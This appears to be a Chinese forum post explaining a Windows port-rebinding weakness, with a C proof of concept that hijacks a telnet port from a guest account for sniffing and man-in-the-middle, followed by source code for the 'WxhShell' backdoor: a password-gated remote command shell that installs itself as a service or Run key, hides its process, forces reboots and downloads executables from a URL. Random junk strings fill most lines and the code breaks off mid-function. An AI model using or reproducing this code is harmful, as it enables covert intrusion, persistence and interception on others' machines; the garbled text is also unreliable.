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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  03_tt7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Fb[<YX"  
F|Jo|02  
  saddr.sin_family = AF_INET; A*E$_N  
R6CxNPRJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \tU91 VIj  
O:#t> ;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hA)3Ah*  
LV'v7 2yUH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ij/c@#q.  
P}JA"V&  
  这意味着什么?意味着可以进行如下的攻击: \)`\F$CF  
L}x"U9'C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =<R77rnY&  
>:h 8T]F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rOH8W  
I)9;4lix  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "7iHTV  
A5B 5pJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M9 _h0  
u6cWLV t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Cz m`5  
o^7}H{AE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^vJ08gu_W  
3v5]L3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z2S53^C*  
3fn6W)v?  
  #include 's!EAqCN  
  #include ]D%D:>9|/  
  #include <-X)<k  
  #include    u!X[xe;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !9OAMHa*9  
  int main() o+q4Vg9&  
  { //f[%j*>  
  WORD wVersionRequested; %GjF;dJ  
  DWORD ret; h"M}Iz~|V?  
  WSADATA wsaData; `N ;!=7y7Y  
  BOOL val; p*n$iroy_{  
  SOCKADDR_IN saddr; V'\4sPt  
  SOCKADDR_IN scaddr; a'XCT@B  
  int err; P[aB}<1f0  
  SOCKET s; Vad(PS0  
  SOCKET sc; ~Og'IRf  
  int caddsize; IiS1ubNtZ  
  HANDLE mt; :n{rVn}G  
  DWORD tid;   @U:WWTzf  
  wVersionRequested = MAKEWORD( 2, 2 ); sw8Ic\vT  
  err = WSAStartup( wVersionRequested, &wsaData ); wz T+V,   
  if ( err != 0 ) { __'Z0?.4#  
  printf("error!WSAStartup failed!\n"); F2OU[Z,-]  
  return -1; *cq#>rN  
  } 'xvV;bi  
  saddr.sin_family = AF_INET; b]Oc6zR,,~  
   }a-ikFQ]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <`~] P$  
"EQ}xj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h$4V5V  
  saddr.sin_port = htons(23); x(}@se  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E+UOuf*(  
  { k;l^wM  
  printf("error!socket failed!\n"); &3S;5{7_e  
  return -1; Y=/HsG\W]  
  } OA&NWAm4  
  val = TRUE; rXo,\zI;u^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `Nc3I\tCM  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kVe}_[{m  
  { l4v)tV~  
  printf("error!setsockopt failed!\n"); W>/O9?D  
  return -1; yV=hi?f-[V  
  } R-bICGSE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^7~=+0cF]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mJ !}!~:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A\.k['!  
<@ (HQuL#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) JwxI8Pi*y  
  { Jel%1'Dc^  
  ret=GetLastError(); 1h"0B  
  printf("error!bind failed!\n"); jQ1~B1(  
  return -1; ~ m, z|  
  } x !]ZVl]  
  listen(s,2); hRtnO|Z6  
  while(1) L'z;*N3D  
  { 6EP5n  
  caddsize = sizeof(scaddr); G2 xYa$&][  
  //接受连接请求 E!C~*l]wJx  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f.Q?-M  
  if(sc!=INVALID_SOCKET) 0'c<EJ  
  { =HYMX "s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d\'M ~VQ  
  if(mt==NULL) rS{Rzs^@  
  { nRb#M  
  printf("Thread Creat Failed!\n"); 6pxj9@X+  
  break; S!up2OseW  
  } `"Tx%>E(U  
  } 3,S5>~R=  
  CloseHandle(mt); `{ou4H\  
  }  oC >^V5  
  closesocket(s); #oJ9BgDry  
  WSACleanup(); akrEZ7A  
  return 0; N;;!ObVHnP  
  }   Z!^iPB0~D  
  DWORD WINAPI ClientThread(LPVOID lpParam) d+[hB4!l2  
  { YmNBtGhT  
  SOCKET ss = (SOCKET)lpParam; W(a=ev2sa  
  SOCKET sc; oRmN|d ~4  
  unsigned char buf[4096]; QJvA  
  SOCKADDR_IN saddr; \E]s]ft;+  
  long num; +.b~2K1  
  DWORD val; gj$gqO`B  
  DWORD ret; PHT;%;m=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !@p@u;djJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [ wr0TbtV  
  saddr.sin_family = AF_INET; Xp4pN{he  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rq T@i(i  
  saddr.sin_port = htons(23); #eR*|W7o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _lu.@IX-  
  { GriL< =?t  
  printf("error!socket failed!\n"); `cMa Fc-y/  
  return -1; ^A;v|U  
  } b"/P  
  val = 100; [;h@ q}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) - "h {B  
  { q}1AV7$Ai  
  ret = GetLastError(); i *nNu-g  
  return -1; !NZFo S~  
  } oT_k"]~Q~2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fL' 42  
  { y3))I\QT  
  ret = GetLastError(); (LkGBnXE  
  return -1; rF>:pS,`&  
  } C4#'`8E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "Do9gW  
  { CdC&y}u  
  printf("error!socket connect failed!\n"); ){5  $8  
  closesocket(sc); Rb',"` 7  
  closesocket(ss);  ceyZ4M  
  return -1; Mpb|qGi!  
  } mWfzL'*  
  while(1) xud =(HLl  
  { f.,S-1D]h  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eiJ $}\qJL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7z5AI!s_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6]CY[qEaR$  
  num = recv(ss,buf,4096,0); +*lSB%`aS  
  if(num>0) u=p([ 5]  
  send(sc,buf,num,0); *^}(LoPZ  
  else if(num==0) xBl}=M?Qu  
  break; m7~kRY514  
  num = recv(sc,buf,4096,0); ]@C&Q,~q  
  if(num>0) v>;6pcp[F  
  send(ss,buf,num,0); Z  r  
  else if(num==0) S^a")U4  
  break; qIuY2b`6  
  } s{'r'`z.  
  closesocket(ss); sMs 0*B-[  
  closesocket(sc); bt-y6,> +E  
  return 0 ; <vhlT#p   
  } m7cp0+Peo  
[Xg?sdQCI  
g()YP  
========================================================== SHIK=&\~-  
e#<%`\qH  
下边附上一个代码,,WXhSHELL ikw_t?  
O{%yO=`r  
========================================================== 4$@5PS#,  
118A6qyi  
#include "stdafx.h" rB< UOe  
EO:i+e]=  
#include <stdio.h> j1_CA5V  
#include <string.h> OU/PB  
#include <windows.h> diaLw  
#include <winsock2.h> :BN qr[=b  
#include <winsvc.h> Y'DI@  
#include <urlmon.h> ZZX|MA!  
1<Qb"FN!2  
#pragma comment (lib, "Ws2_32.lib") [59_n{S 1  
#pragma comment (lib, "urlmon.lib") 5)AMl)  
&Plc  
#define MAX_USER   100 // 最大客户端连接数 [yW0U:m  
#define BUF_SOCK   200 // sock buffer xbvZ7g^  
#define KEY_BUFF   255 // 输入 buffer ?FA} ;?v  
J XPE9uH  
#define REBOOT     0   // 重启 BwEO2a{  
#define SHUTDOWN   1   // 关机 ~]O~a}]g(  
Cevl#c5p>  
#define DEF_PORT   5000 // 监听端口 g-bHf]'  
F $^RM3  
#define REG_LEN     16   // 注册表键长度 es6!p 7p?  
#define SVC_LEN     80   // NT服务名长度 }[ld=9p(  
{M )Y6\v  
// 从dll定义API sV%<U-X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7:)=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u$X [=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3ktjMVy\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &&nvv&a  
hV)D,oN3  
// wxhshell配置信息 Uz} #.  
struct WSCFG { AU OL?st  
  int ws_port;         // 监听端口 iT227v!s  
  char ws_passstr[REG_LEN]; // 口令 RplLU7  
  int ws_autoins;       // 安装标记, 1=yes 0=no .!/DM-C  
  char ws_regname[REG_LEN]; // 注册表键名 X6)-1.T&  
  char ws_svcname[REG_LEN]; // 服务名 ;%0$3a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &z+nNkr?yN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +? E~F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6k|o<`~,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *%=BcV+,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |a*VoMZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bqWo*>l  
LPc)-t|p"  
}; @!"w.@ Y  
.D!0$W mOZ  
// default Wxhshell configuration iqreIMWz  
struct WSCFG wscfg={DEF_PORT, TwH%P2)x  
    "xuhuanlingzhe", SIYBMe  
    1, TWZ* *S-  
    "Wxhshell",  _zvCc%  
    "Wxhshell", %@k@tD6  
            "WxhShell Service", l=GcgxD+"d  
    "Wrsky Windows CmdShell Service", MzM"r"u  
    "Please Input Your Password: ", o^&u?F9  
  1, -GCC  
  "http://www.wrsky.com/wxhshell.exe", MxQhkY-=  
  "Wxhshell.exe" Ye% e!  
    }; ikX"f?Q;S2  
{p[{5k 0  
// 消息定义模块 9~n`6;R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  sC1Mwx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eyUguA<lK\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (~q.YJ'  
char *msg_ws_ext="\n\rExit."; r'/&{?Je/  
char *msg_ws_end="\n\rQuit."; AJ}QS?p8s  
char *msg_ws_boot="\n\rReboot..."; B52n'.  
char *msg_ws_poff="\n\rShutdown..."; O]3$$uI=QE  
char *msg_ws_down="\n\rSave to "; EmNJ_xY  
6Ri+DPf:  
char *msg_ws_err="\n\rErr!"; LM\H%=*L  
char *msg_ws_ok="\n\rOK!"; >'ev_eAk  
"\cDSiD  
char ExeFile[MAX_PATH]; R/ix,GC  
int nUser = 0; CT1@J-np  
HANDLE handles[MAX_USER]; '9@S  
int OsIsNt; p!B& &)&db  
v3PtiKS  
SERVICE_STATUS       serviceStatus; BbsgZ4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 55q!2>Jh.  
Q]$gw,H"6  
// 函数声明 v3O+ ;4  
int Install(void); 7^)8DwAl  
int Uninstall(void); -<H\VT%98  
int DownloadFile(char *sURL, SOCKET wsh);  bi/ AQ^  
int Boot(int flag); FnxPM`Zx  
void HideProc(void); cq+G0F+H  
int GetOsVer(void); diHK  
int Wxhshell(SOCKET wsl); |y1O M  
void TalkWithClient(void *cs); !ij R  
int CmdShell(SOCKET sock); A0X'|4I  
int StartFromService(void); mh#NmW>n  
int StartWxhshell(LPSTR lpCmdLine); 6Cw+  
/5:2g# S4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); epN> ;e z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !iv6k~.e'2  
_|+}4 ap  
// 数据结构和表定义 sjGy=d{:oL  
SERVICE_TABLE_ENTRY DispatchTable[] = v z6No%8X  
{ 4fauI%kc  
{wscfg.ws_svcname, NTServiceMain}, }uP`=T!"8  
{NULL, NULL} " GRR,7A  
}; & pHSX  
bUvVt3cm  
// 自我安装 Z5/*i un  
int Install(void) rebnV&-  
{ e~oh%l^C72  
  char svExeFile[MAX_PATH]; <<'%2q5  
  HKEY key; BOt1J_;(rO  
  strcpy(svExeFile,ExeFile); `vjn,2S}  
)qSjI_qt5  
// 如果是win9x系统,修改注册表设为自启动 ]31>0yj[Q  
if(!OsIsNt) { 4 .Kl/b;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n8 UG{. =  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lb]!TOl  
  RegCloseKey(key); )7]la/0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x{DTVa 6y2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K@%o$S?>z_  
  RegCloseKey(key); La>fvm  
  return 0; CWBlDz  
    } r&%TKm^/  
  } tTEw"DL_-  
} =csh=V@s  
else { 90wGS_P04  
:j2?v(jT_l  
// 如果是NT以上系统,安装为系统服务 21k,{FB'?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =/5^/vwgY  
if (schSCManager!=0) hY5GNYDh  
{ i~3\jD=<  
  SC_HANDLE schService = CreateService ^4/   
  ( cN%  r\  
  schSCManager, 1;v,rs M  
  wscfg.ws_svcname, L|hELWru  
  wscfg.ws_svcdisp, '4KN  
  SERVICE_ALL_ACCESS, 'p FK+j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :+_uyp2V  
  SERVICE_AUTO_START, E] 6]c!2:  
  SERVICE_ERROR_NORMAL, QM('bbN  
  svExeFile, 1.0:  
  NULL, +Y?) ?  
  NULL, bG)EZ  
  NULL, o$QC:%[#  
  NULL, A"tE~m;"7  
  NULL o5B]?ekpq  
  ); 6Y`rQ/F  
  if (schService!=0) 7Pe<0K)s(  
  { !zVjbYWY  
  CloseServiceHandle(schService);  $UD$NSl  
  CloseServiceHandle(schSCManager); ^'%Q>FVb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r01u3!  
  strcat(svExeFile,wscfg.ws_svcname); shgZru  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ; ,Nvg6c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A)#w~X4  
  RegCloseKey(key); o9rZ&Q<  
  return 0; sU(<L0  
    } a B$x(8pP@  
  } DD5cUlOSu  
  CloseServiceHandle(schSCManager); r2%Qk  
} +~K) ~  
} )O],$\u  
' !2NSv  
return 1; \@[Y ~:  
} buldA5*!o  
R]&lVXyH  
// 自我卸载 S5BS![-QK  
int Uninstall(void) L35]'Jua  
{ oeYUsnsbi  
  HKEY key; 2= Y8$-  
w=_q<1a  
if(!OsIsNt) { }y1r yeW<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .[r1Qz7G  
  RegDeleteValue(key,wscfg.ws_regname); 1l5'N=hL  
  RegCloseKey(key); +H:}1sT;n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DHg)]FQ/  
  RegDeleteValue(key,wscfg.ws_regname); Or#KF6+ut  
  RegCloseKey(key); A("\m>g$b  
  return 0; ?[]jJ  
  } wP7 E8'  
} =pZ$oTR  
} X2|&\G9c  
else { \3&1iA9=)  
6d`qgEM3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XXw>h4hl  
if (schSCManager!=0) NQxx_3*4O  
{ 8d?%9# p-)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [Kg3:]2A  
  if (schService!=0) C);3GPp  
  { XRmE  
  if(DeleteService(schService)!=0) { \_(|$Dhq  
  CloseServiceHandle(schService); >Hu3Guik]  
  CloseServiceHandle(schSCManager); -d9L  
  return 0; rf^ u&f  
  } u9{SG^  
  CloseServiceHandle(schService); s)jNP\-  
  } `PZ\3SC'i  
  CloseServiceHandle(schSCManager); 4/V;g%0uN;  
} TNDp{!<|L;  
} Q@"}v_r4  
)<%CI#s#  
return 1; ^-L nO%h?  
} b")O#v.  
Z;z,dw  
// 从指定url下载文件 m 7S`u  
int DownloadFile(char *sURL, SOCKET wsh) 27i-B\r  
{ l_s#7.9$  
  HRESULT hr; x~i\*Ox^  
char seps[]= "/"; DS+BX`i%#p  
char *token; K5RgWP  
char *file; ]s0GAp"  
char myURL[MAX_PATH]; 194n   
char myFILE[MAX_PATH]; {Hie% 2V  
bXvriQ.UH  
strcpy(myURL,sURL); 1+"d-`'Z2O  
  token=strtok(myURL,seps); @Gw.U>"!C  
  while(token!=NULL) ]XcWGQv~  
  { a ]:xsJ~  
    file=token; ?\I@w4  
  token=strtok(NULL,seps); 6"[J[7up  
  } Y[|9 +T  
ahdwoB   
GetCurrentDirectory(MAX_PATH,myFILE); 2%v6h  
strcat(myFILE, "\\"); p' 6h9/  
strcat(myFILE, file); t%%zuqF`  
  send(wsh,myFILE,strlen(myFILE),0); 6-~ZOMlV  
send(wsh,"...",3,0); G)?j(El  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <00nu'Ex1v  
  if(hr==S_OK) P1z:L  
return 0; }~Do0XUH  
else \?wKs  
return 1; 1h|qxYO  
Pc`)D:/}R  
} p(-EtxP  
*Kpw@4G   
// 系统电源模块 *ZV3]ig2$  
int Boot(int flag) xi=0 kO  
{ vT MCZ+^g  
  HANDLE hToken; OLWn0  
  TOKEN_PRIVILEGES tkp; S(Z\h_m(  
WL|71?@C  
  if(OsIsNt) { :`K2?;DC8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 03A QB;.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3s?ZyQy  
    tkp.PrivilegeCount = 1; KYyoN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q@|"xKa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >sdF:(JV&  
if(flag==REBOOT) { #S] O|$&*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *%\Xw*\0  
  return 0; XZQ-Ig18  
} m^zD']  
else { ;pS+S0U   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t<"`gM^|  
  return 0; j+>[~c;0)  
} -tx%#(?wH  
  } >0u*E *Y  
  else { Q"Exmn3p  
if(flag==REBOOT) { <pXOE- G5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1;+77<  
  return 0; 6kMEm)YjT  
} 3sRI 7g  
else { V lkJ$f5l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cd~QGP_C  
  return 0; i!fk'Yt%  
} 4jlwu0L+  
} BpGyjo J2  
tk)}4b^\%j  
return 1; V3T.EW  
} h#Mx(q  
C?MKb D=K  
// win9x进程隐藏模块 zlB[Eg^X  
void HideProc(void) ' R2*3<  
{ =(~*8hJ  
a^^OI|?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {u0sbb(  
  if ( hKernel != NULL ) @\:@_}Z`_}  
  { PN= 5ICT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c,]fw2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m&#D~  
    FreeLibrary(hKernel); xIV#}z0  
  } Q/J<$W*,  
mwn$ey&QE  
return; Bs|#7mA[  
} hhhxsGyv  
@$CPTv3e  
// 获取操作系统版本 RQu[FZT,  
int GetOsVer(void) IGo5b-ds  
{ ~eS/gF?  
  OSVERSIONINFO winfo; a2]>R<M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ILiOEwHS7F  
  GetVersionEx(&winfo); >) Bv>HM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t?b@l<, s  
  return 1; ++ 5!8Nv  
  else 5Q:49S47  
  return 0; >6W#v[  
} Su[(IMw  
B/mfm 7  
// 客户端句柄模块 {%RwZ'  
int Wxhshell(SOCKET wsl) &os:h] C  
{ ~9,Fc6w4`+  
  SOCKET wsh; qv >l  
  struct sockaddr_in client; +bR|;b(v  
  DWORD myID; `,Y3(=3Xe?  
}[PC YnS  
  while(nUser<MAX_USER) knfmJUT  
{ $"}[\>e*{  
  int nSize=sizeof(client); g $^Yv4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x8C *  
  if(wsh==INVALID_SOCKET) return 1; P)hGe3  
-G'3&L4 D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4Me3{!HJz  
if(handles[nUser]==0) 16nU`TN  
  closesocket(wsh); J/,m'wH  
else 0zsmZ]b5E  
  nUser++; W&[-QM8  
  } 9+8N-LZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r%>7n,+o  
p;D {?H/  
  return 0; 8wEJyAu2  
} T[g(S0dz  
e? |4O< @  
// 关闭 socket x2/ciC  
void CloseIt(SOCKET wsh) ~zvZK]JoX  
{ F}@]Lq+  
closesocket(wsh); J$T(p%  
nUser--; o{l]n*  
ExitThread(0); |TF6&$>d  
} V@EyU/VJ  
\JCpwNT{P  
// 客户端请求句柄 _fHj8- s/  
void TalkWithClient(void *cs) m%.[|sZ3EM  
{ 1CJAFi>%D  
Zw<<p|{)<  
  SOCKET wsh=(SOCKET)cs; 6TXTJ]er  
  char pwd[SVC_LEN]; 3;!!`R>e  
  char cmd[KEY_BUFF]; =rkW325O  
char chr[1]; sv#b5,>9  
int i,j; }}"|(2I  
S0LaQ<9.  
  while (nUser < MAX_USER) { Sogt?]HB$  
afu!.}4Ct  
if(wscfg.ws_passstr) { ~0}d=d5g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @~&^1%37)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d7:=axo,  
  //ZeroMemory(pwd,KEY_BUFF); ]mC5Z6,1s  
      i=0; "x0KiIoPk  
  while(i<SVC_LEN) { >LPIvmT4D?  
5{vuN)K3  
  // 设置超时 yb0Mn*X+ N  
  fd_set FdRead; e nw*[D !  
  struct timeval TimeOut; U8,pe;/ln`  
  FD_ZERO(&FdRead); ep*8*GmP  
  FD_SET(wsh,&FdRead); %J9+`uSl  
  TimeOut.tv_sec=8; r$x;rL4  
  TimeOut.tv_usec=0; !\^W*nQ>l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,"YTG*ky  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;Sp/N4+  
L@ejFXQg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x,fL656t  
  pwd=chr[0];  [ A 7{}  
  if(chr[0]==0xd || chr[0]==0xa) { QiJ  
  pwd=0; MN:LL <  
  break; _c}# f\ +_  
  } )#`&[9d-  
  i++; %'S[f  
    } Yvu?M8aK!  
u*rHKZ9i  
  // 如果是非法用户,关闭 socket HuQdQ*Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "98 j-L=F+  
} s%RG_"l  
r @ !  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e{ *yV#Wl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U\-R'Z>M  
wrsr U  
while(1) { \p]B8hLW  
%joU}G;"  
  ZeroMemory(cmd,KEY_BUFF); =hY/Yr%P  
uf"(b"N0  
      // 自动支持客户端 telnet标准   jX^_(Kg  
  j=0; D'BGoVP  
  while(j<KEY_BUFF) { .1_kRy2*.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v2="j  
  cmd[j]=chr[0]; @ rF|WT  
  if(chr[0]==0xa || chr[0]==0xd) { xJA{Hws  
  cmd[j]=0; O=^/58(m  
  break; 3e1P!^'\  
  } LC\U6J't1  
  j++; Eh$1p iJG  
    } 3Vak C  
q;7DH4;t  
  // 下载文件  M+:9U&>  
  if(strstr(cmd,"http://")) { ~@#a*="  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +d(|Jid  
  if(DownloadFile(cmd,wsh)) v-/vj/4>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $dA]GWW5A  
  else ]b:>7_la  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Hd_sNUu\  
  } y*p02\)  
  else { II Amx[ b  
f[ia0w5 m  
    switch(cmd[0]) { 4yjIR?  
  \k^ojzJ  
  // 帮助 8 VhU)fY  
  case '?': { g!9|1z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l[rK)PM   
    break; I0!]J{  
  } $g/h=w@  
  // 安装 ?nWzJ5w3  
  case 'i': { 5G$5d:[(  
    if(Install()) !e*T. 1Kz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5HIQw9g6  
    else FYK`.>L28  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W+5. lf=2>  
    break; 2U( qyC  
    } 0N$FIw2  
  // 卸载 %$i}[ U  
  case 'r': { Ok fxX&n  
    if(Uninstall()) Y*S:/b~y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q'TIN{\.{  
    else mrr~#Bb>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1vtC4`  
    break; 8m=O408Q  
    } f8`dJ5i  
  // 显示 wxhshell 所在路径 n9n)eI)R  
  case 'p': { p@[ fZj  
    char svExeFile[MAX_PATH]; < fV][W  
    strcpy(svExeFile,"\n\r"); }r!hm?e  
      strcat(svExeFile,ExeFile); 3dSC`K  
        send(wsh,svExeFile,strlen(svExeFile),0); _uXb>V*8  
    break; J_.cC  
    } b&dv("e 4  
  // 重启 * ^V?u  
  case 'b': { ]}p<P):hO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ge<D}6GQ  
    if(Boot(REBOOT)) $2RSYI`py  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lW|v_oP9  
    else { Aa4Tq2G  
    closesocket(wsh); j4+Px%sW  
    ExitThread(0); JodD6 ;P  
    } 4 Tw~4b  
    break; >[;=c0(  
    } $*T?}r>  
  // 关机 >P&1or)e%  
